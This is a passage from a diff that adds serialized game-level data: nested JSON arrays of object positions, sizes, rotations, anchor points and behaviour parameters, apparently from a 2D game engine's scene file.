+ 1003,
+ 0,
+ 270,
+ 204,
+ 0,
+ 0,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 333,
+ 1369,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1376,
+ 1115,
+ 0,
+ 514,
+ 386,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 321,
+ 1370,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 1371,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 1372,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 1373,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1382,
+ 615,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 1375,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1194,
+ 617,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 1383,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 1384,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 173,
+ 847,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 1385,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 170,
+ 847,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 1386,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 172,
+ 822,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 1387,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 172,
+ 823,
+ 0,
+ 56,
+ 52,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 1388,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -725,
+ 55,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 1389,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -413,
+ 630,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 1392,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3670,
+ 1757,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 368,
+ 1399,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2036,
+ 2128,
+ 0,
+ 416,
+ 33,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.01339285727590323,
+ 0.2121212184429169,
+ 0,
+ 0,
+ []
+ ],
+ 372,
+ 1400,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1918,
+ 2244,
+ 0,
+ 395,
+ 9,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 373,
+ 1401,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3741,
+ 731,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 1404,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3597,
+ 783,
+ 0,
+ 24.95556640625,
+ 166.9776000976563,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 1405,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3881,
+ 777,
+ 0,
+ 25.62890625,
+ 158.4940185546875,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 1406,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3741,
+ 719,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 1407,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3720,
+ 735,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 1408,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3762,
+ 735,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 1409,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -809,
+ 1072,
+ 0,
+ 197,
+ 222,
+ 0,
+ 0,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ 0,
+ 0,
+ []
+ ],
+ 380,
+ 1410,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 4928,
+ 2524,
+ 0,
+ 140,
+ 138,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 386,
+ 1430,
+ [],
+ [
+ [
+ 0,
+ 2,
+ 0,
+ 0.5,
+ 1,
+ 0,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1925,
+ 1602,
+ 0,
+ 217.7560882568359,
+ 33.89113616943359,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 383,
+ 1434,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4927.19873046875,
+ 2523.060791015625,
+ 0,
+ 121.3048629760742,
+ 121.3048629760742,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 403,
+ 1435,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1024,
+ 2159,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 1441,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 905,
+ 1988,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 1443,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 489,
+ 811,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1459,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7904.54150390625,
+ 855.795654296875,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 1625,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8031.54150390625,
+ 855.795654296875,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 1626,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8158.54150390625,
+ 855.795654296875,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 1627,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8285.541015625,
+ 855.795654296875,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 1628,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7905.07177734375,
+ 978.0015258789062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 1629,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8032.07177734375,
+ 978.0015258789062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 1630,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8159.07177734375,
+ 978.0015258789062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 1631,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8285.072265625,
+ 978.0015258789062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 1632,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8412,
+ 855.8434448242188,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 1633,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8539,
+ 855.8434448242188,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 1634,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8412,
+ 977.8434448242188,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 1635,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8538,
+ 977.8434448242188,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 1636,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2258,
+ 1947,
+ 0,
+ 354,
+ 390,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1637,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6954.8193359375,
+ 950.9053955078125,
+ 0,
+ 1110,
+ 761.2923583984375,
+ 0,
+ 0.7853981852531433,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1652,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7918.5,
+ 1175,
+ 0,
+ 1391,
+ 760,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1653,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8498.5,
+ 577,
+ 0,
+ 527,
+ 67,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1654,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8520.5,
+ 710,
+ 0,
+ 518,
+ 203,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1655,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3211,
+ 1750,
+ 0,
+ 98,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 465,
+ 1473,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2829,
+ 1746,
+ 0,
+ 98,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 465,
+ 1474,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3167,
+ 1915,
+ 0,
+ 98,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 465,
+ 1475,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3436,
+ 1834,
+ 0,
+ 98,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 465,
+ 1476,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3701,
+ 1768,
+ 0,
+ 98,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 465,
+ 1477,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4804,
+ 1867,
+ 0,
+ 98,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 465,
+ 1480,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1756,
+ 1599,
+ 0,
+ 217.7560882568359,
+ 33.89113616943359,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 383,
+ 1499,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 32,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 1120,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 32,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 1121,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142.2177734375,
+ 1080.971557617188,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1123,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3565.708251953125,
+ 1169.282470703125,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 1127,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -150,
+ 1157,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 1128,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 302,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1129,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -147,
+ 1422,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 509,
+ 1162,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -149,
+ 1581,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 510,
+ 1163,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -149,
+ 1725,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 511,
+ 1164,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 1165,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 212,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 1166,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 302,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 1167,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 392,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 1168,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 1169,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 212,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 1170,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 392,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1171,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 454,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1174,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 486,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1176,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 518,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1177,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 646,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1181,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 678,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1182,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 710,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1183,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 838,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1187,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 870,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1188,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 902,
+ 864,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
